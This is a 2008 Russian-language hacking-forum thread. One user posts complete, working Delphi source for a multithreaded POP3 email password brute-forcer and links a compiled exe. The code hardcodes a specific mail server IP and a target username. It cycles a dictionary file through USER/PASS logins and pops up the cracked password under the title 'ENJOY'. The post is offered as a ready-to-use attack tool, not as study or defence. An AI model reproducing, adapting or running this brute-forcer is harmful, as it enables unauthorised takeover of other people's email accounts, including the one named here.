Рабочий исходник брута на мыла [Delphi]

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _GlaD1aT(OR)_, 4 Aug 2008.

  1. _GlaD1aT(OR)_

    _GlaD1aT(OR)_ Elder - Старейшина

    Joined:
    24 Jul 2008
    Messages:
    38
    Likes Received:
    15
    Reputations:
    0
    Полный рабочий исходник брутера мыл на Дельфи. Текст скачен nodeface.ru. ExE-файл мой (помещен для незнающих язык делфи), реда\ктируйте по своему вкусу
    Code:
    unit Unit1;
    
    interface
    
    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    ComCtrls, StdCtrls, WinSock;
    
    type
    TForm1 = class(TForm)
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;
    
    // Описание процесса
    type
    TScan = class(TThread)
    sock2 : TSocket;
    addr:TSockAddrIn;
    WSAData : TWSAData;
    private
    procedure CScan;
    protected
    procedure Execute; override;
    end;
    
    var
    Form1: TForm1;
    // Массив процессов
    Sock : array[1..255] of TScan;
    Rez : boolean = false;
    // Кол-во запущенных процессов на данный момент
    I0 : Integer;
    // Номер текущего пароля
    I : Integer;
    // TStringList с паролями
    PassList : TStringList;
    
    
    const
    FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
    ProcCount = 10; // кол-во процессов
    POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
    User = 'dndanil';
    
    implementation
    {$R *.DFM}
    
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    PassList:=TStringList.Create;
    end;
    
    // Запуск / Остановка
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if Rez then
    Rez:=false
    else
    begin
    // Открытие и загрузка файла паролей
    try
    PassList.Clear;
    PassList.LoadFromFile(FilePass);
    except
    end;
    if PassList.Count<=0 then
    begin
    Application.MessageBox('Файл паролей не найден или его нельзя использовать',
    'ERROR', mb_Ok);
    exit;
    end;
    Form1.Button1.Caption:='Stop';
    Form1.ProgressBar1.Position:=0;
    // Кол-во паролей
    Form1.ProgressBar1.Max:=PassList.Count;
    Application.ProcessMessages;
    I:=0;
    I0:=1;
    Rez:=true;
    // Запустить все процессы
    while true do
    begin
    Sock[I0]:=TScan.Create(false);
    inc(I0); // Подсчитать их кол-во
    //Выйти если больше указанного, или стоп, или подобрали
    if (I0>ProcCount)or(not Rez) then
    break;
    end;
    end;
    end;
    
    // Проца инициализации процесса
    procedure TScan.Execute;
    begin
    try
    // Запуск цикла
    while true do
    begin
    CScan;
    //Выход, если подобрали или закончился словарь
    if (not Rez)or(I>=PassList.Count) then
    break;
    end;
    except
    end;
    dec(I0);
    try
    Terminate;
    except
    end;
    //Если все процессы прерваны -
    if I0<=1 then
    begin
    Form1.Button1.Caption:='Hack it';
    Rez:=false;
    Application.ProcessMessages;
    end;
    end;
    
    //Проца сканирования
    procedure TScan.CScan;
    var
    iaddr, x, I2 : Integer;
    Buf : array [1..255] of Char;
    
    //Отправка
    procedure sender(str:string);
    var
    I1: integer;
    begin
    for I1:=1 to Length(str) do
    if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
    exit;
    end;
    
    begin
    I2:=I;
    inc(I);
    Form1.ProgressBar1.Position:=I2+1;
    Application.ProcessMessages;
    try
    // Инициализация сокета
    WSAStartUp(257, WSAData);
    sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    if sock2=INVALID_SOCKET then
    begin
    try
    closesocket(sock2);
    except
    end;
    exit;
    end;
    //Адрес сервака
    iaddr := inet_addr(PChar(POP3serv));
    if iaddr <=0 then
    begin
    try
    closesocket(sock2);
    except
    end;
    exit;
    end;
    addr.sin_family := AF_INET;
    // Порт сервака
    addr.sin_port := htons(110);
    addr.sin_addr.S_addr:=iaddr;
    if (connect(sock2, addr, sizeof(addr))) >0 then
    begin
    try
    closesocket(sock2);
    except
    end;
    exit;
    end;
    //Получение при соединении
    x:=recv(sock2,buf,sizeof(Buf),0);
    if (x=SOCKET_ERROR)or(buf[1]<>'+') then
    exit;
    //"user user"
    sender('user '+User+#13+#10);
    x:=recv(sock2,buf,sizeof(Buf),0);
    if (x=SOCKET_ERROR)or(buf[1]<>'+') then
    exit;
    //"pass password"
    sender('pass '+PassList.Strings[I2]+#13+#10);
    x:=recv(sock2,buf,sizeof(Buf),0);
    //Если подобралось
    if (x>3)and(buf[1]='+') then
    begin
    Rez:=false;
    Application.MessageBox(PChar('Pass ='+PassList.Strings[I2]),'ENJOY',mb_Ok);
    exit;
    end;
    try
    closesocket(sock2);
    except
    end;
    except
    end;
    end;
    end.
    
    ---------------------------

    Скачать исходник + Exe-файл
     
  2. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    [​IMG]
     
    2 people like this.